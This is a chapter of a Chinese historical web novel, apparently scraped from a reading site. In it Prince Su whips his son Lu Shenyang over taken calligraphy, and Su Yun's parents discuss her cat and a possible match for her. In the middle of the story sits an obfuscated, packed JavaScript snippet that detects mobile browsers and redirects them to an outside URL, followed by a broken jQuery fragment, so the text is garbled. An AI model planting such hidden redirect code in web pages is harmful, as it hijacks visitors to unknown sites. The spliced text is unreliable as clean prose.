看守的人听见王爷询问书房字画的事情,不敢隐瞒,马上将陆慎炀从书房拿走字画的事情说得清清楚楚。
肃王脸色渐渐阴沉:“不学无术的废物,平时混账惯了,现在连老子都不放在眼里了,我的东西都敢乱动,去将人给我绑来!”
下人被他凌厉的语气吓得瑟瑟发抖,连忙小跑出去寻人。
陆慎炀难得老实待在他院子里,见肃王派人来寻他也不以为然。
他爹以往的惯例,是先进宫后出宫揍他,如今陛下允他先归府,自然要先揍他一顿才肯罢休。
陆慎炀被肃王请走,他院子里的下人马不停蹄前去找王妃禀报。
“爹,您也老大不小了,怎么脾气还这么差?”陆慎炀一点没有火烧眉头的着急。
战场的风沙为肃王成熟的面容凭添几分沧桑沉稳,他鹰隼般的眼眸上下扫视陆慎炀:“我的字画呢?”
“送人了。”陆慎炀满不在意的口吻,“你有那么多,分点给儿子呗。”
肃王扯动嘴角笑笑,却是皮笑肉不笑:“想要什么就自己去争去抢,拿老子的算什么男人?”
“反正已经送人了,你就是打死你亲儿子也拿不回来。”陆慎炀无奈地耸肩。
肃王久战沙场,最爱各式各样的武器,书房内设有武器架,上面摆满宝刀长枪,他转身走至架子前,从上面拿去一根粗长结实的鞭子。
“跪下,孽障。”他将鞭子捏在手心,看着眼前不成器的儿子,“我怎么生出你这个没用的废物,整日吃喝玩乐,一派纨绔子弟的模样。”
只要没人舞到他面前,在外混账无赖他都懒得管,现在越大越无法无天,他的东西都敢随意处置。
“子不教父之过,父王该好好反思下自己的教育方式。”死到临头,陆慎炀的嘴依旧很犟。
“是我对你太仁慈了。”肃王冷哼一声,一记鞭子响亮地抽了下去。
霎时间陆慎炀的外袍被打烂,肃王没有一点心慈手软,鲜血顺着鞭子留下。
“听说现在你越发有能耐了,都敢推人下水谋人性命了。”肃王收回鞭子,审视着上面的血迹,语气高高在上。
陆慎炀痛得咬紧牙关,还是一字一句道:“人不是我推的!”
啪!又是一记重鞭落下。
“士别三日当刮目相待,你和你娘也算是长脑子了,现在知道善后了。”肃王眼眸冷漠。
陆慎炀知道肃王什么意思,他认定了人是自己推下水的,只不过后来自己和娘用了法子洗脱罪名。
“再说一次,人不是我推的。”陆慎炀倔强地抬起头,眼眸发狠发红地望着自己的父亲。
为什么他的亲生父亲仅仅因为别人的一面之词,能如此坚定地不相信自己的儿子。
要不是他娘爱他爹爱得死去活来,他都以为自己不是亲生的。
“我不在乎真相。”肃王笑笑,“本来我还很欣慰,以为你们终于有了一点长进,有了点脑子知道避人口舌,没想到越来越胆大包天,你老子的东西你都敢觊觎!”
又是重重几鞭落下,陆慎炀的后背伤痕交加,血迹斑驳。
肃王一点也不关心真相,人是陆慎炀推下的,他也不以为然,至少陆慎炀学聪明了,不像他娘那个没脑子的蠢货,知道不落人把柄了。不需要他好不容易回京还需要东跑西跑给这娘俩擦屁股。
但觊觎他的东西他不允许,就像草原上雄壮的狮王绝不容忍任何雄狮挑衅他的王位,哪怕是他的亲生儿子也绝不姑息。
陆慎炀沉默地承受鞭子的重击,无声地笑笑。
是呀,他们都不关心事情的真相,不在意他所受的冤屈和嘲讽。
他娘爱他,所以想尽办法让人闭嘴,却总是弄巧成拙。关注的重点永远不是真相,而是外人议论。
至于他爹,他什么都不在乎,置身事外是他的态度。
陆慎炀的脑海里忽然闪现苏韫温柔坚定的笑容,只有一面之缘的她坚定地站在他身旁,努力证明他的清白,揪出背后的真相。
肃王妃火急火燎地赶来,甫一进门就看见儿子伤痕累累的后背。
眼泪顿时哗啦啦地流下,她冲到肃王身旁抱着他的手臂,想要阻止他的鞭打:“王爷,咱们就一个儿子,你是想要打死他吗?”
她哭得梨花带雨,声音呜咽惹人怜。
早年间肃王也是爱极了这张脸,在她的一再哀求下对陆慎炀的责罚不了了之,大概再美的脸看久了也失了趣味。又或许是岁月淬炼心性,他愈发铁石心肠,不为所动。
“娘,你回去别管。”陆慎炀拳头握紧,强忍叫出声。
父子俩剑拔弩张的氛围,肃王妃急得眼泪直掉:“王爷,我陪嫁里的字画书帖数不胜数,你若有喜欢的尽管拿就是,何必把儿子往死里打。”
肃王充耳不闻,觊觎他的东西罪该万死,不将陆慎炀狠狠打一顿长记性,以后岂不是更猖狂。
“儿啊,你快认个错。”眼见劝不动丈夫,肃王妃又将哀求的视线对上儿子。
陆慎炀痛得额头上布满黄豆上的汗珠,也不绝不开口。
“王爷,咱们百年以后这些东西不都是儿子的吗?你要为了这点小事打死他吗!?”肃王妃大叫道。
她真的不懂,不过是拿了字画一件小事,何至于如此大动干戈,若陆慎炀拿了她什么东西,她只会关心儿子缺东少西,她得赶紧为他添置东西。
“娘,你只有我一个。”陆慎炀扬扬嘴角,直视着暴怒的父亲,“可父王还有五个儿子呢,他是在生气我挑衅他的地位,蔑视他的父权,铁了心要给我个教训。”
肃王的鞭子倏地停了,看了看倔强执拗的儿子:“还不算太蠢。听闻国子监即将考试,若是再考倒数,我军棍伺候。”
既然知道错那了,那就不必再打了。但陆慎炀每每考试,恬不知耻稳居倒数倒一,肃王小时候样样用功,科科拔尖。
肃王妃哭得上气不接下气,吴家兄弟搀扶着陆慎炀离开。
回了院子后,他平趴在床榻上,大夫在背后为伤口上药,肃王妃期期艾艾开口:“儿啊,你别记恨你父王,他就是那个暴脾气。他是恨铁不成钢,希望你有出息些。”
天下间的女人,都希望自己孩子和夫君好好相处。可陆慎炀和肃王,两人向来都是谁也不让谁,每每见了剑拔弩张。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762824|174457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆慎炀被打得半死,后背火辣辣痛得厉害,还要分出心神安慰他娘:“我知道,我想睡会你先回去吧。”
肃王妃看了眼他伤口,眼泪跟流不尽似地用手帕掩着眼角离开。
陆慎炀看着肃王妃离开的背影,他娘真是笨的可怜。
他爹可不是个暴脾气,心思深沉,凡事谋而后动。
希望他有出息?眼下被他打得半死不活,估计刚好在床榻上趴到他爹离开京城。如此便能够不在京城惹是生非,安分守己。
至于受伤向国子监请假耽误的学业,他爹可一点不在乎,只有不影响他就成。
陆慎炀告假的消息,苏韫是在半月后知道的。
原因很简单,她父亲整日眉梢上扬,心情一扫之前阴霾。
“父亲有什么好事吗?”苏韫不解地问道。
苏祭酒端起茶盏笑笑:“肃王回京,终于有人收拾那混世魔王了。半月前王府派人来告假,说是陆慎炀骑马摔伤了。不过如今已回了国子监,只是看样子伤还没好全。”
肃王铁血手腕谁不知晓?对儿子拳打脚踢是家常便饭。
肃王回京多久,陆慎炀就会消停多久。
苏夫人抱着儿子,看了看谈话的父女二人。
她的视线很快紧紧钉在某处,苏韫敏锐地发现不对劲,循着她的视线发现自己衣袖上沾染了猫毛。
“女儿下次注意。”苏韫抱有歉意地说道。
一向温柔的苏夫人眉心微蹙,忍不住出言劝说:“韫儿你也大了,婚事相看也该提上日程了,难不成以后你要带着猫出嫁?”
苏韫沉默,视线落在猫毛上。
侍女都可做陪嫁丫鬟入门,带着小老虎嫁人为什么不可以?
“未来你总归是要生儿育女的,大夫们都说了孕期不要沾染这些动物,对身体不好。”苏夫人不厌其烦地反复劝导。
女儿对这只猫很是重视疼爱,她几次三番劝说送走猫儿,女儿都不同意。
苏韫知道母亲是担心她携带猫毛会引起弟弟生病,放缓语气安慰:“这次是女儿没留意,以后一定不会发生。”
苏夫人低叹一声,苏祭酒默不作声看着母女俩的对话。
心里盘算着苏韫的亲事,按理说她这个年纪早已相看好人家了,可恰逢儿子降生,他和苏夫人就落下了此事。
“罢了,你今日不是和景愉她们有约吗?快去罢。”苏夫人委婉地让苏韫离开。
苏韫也不欲久留:“父亲,母亲,女儿告退了。”
等她离开后,苏祭酒琢磨着刚才的话,喃喃出声:“景家?”
“女儿和景家叶家是手帕交,夫君连这都不知?”苏夫人笑着打趣。
景家书香门第,家风清正,景家女儿又与韫儿是手帕之交。
景阳学问出众,人品端正,长得一表人才。
苏祭酒与苏夫人商量道:“你看景阳如何?”
苏夫人一下便知夫君的意思,思量片刻后答道:“我瞧着不错,是个好孩子,不过咱们还是问问韫儿的意思。”
毕竟是他们的第一个长女,捧着手心长大的宝贝,夫妻两都不愿委屈了她。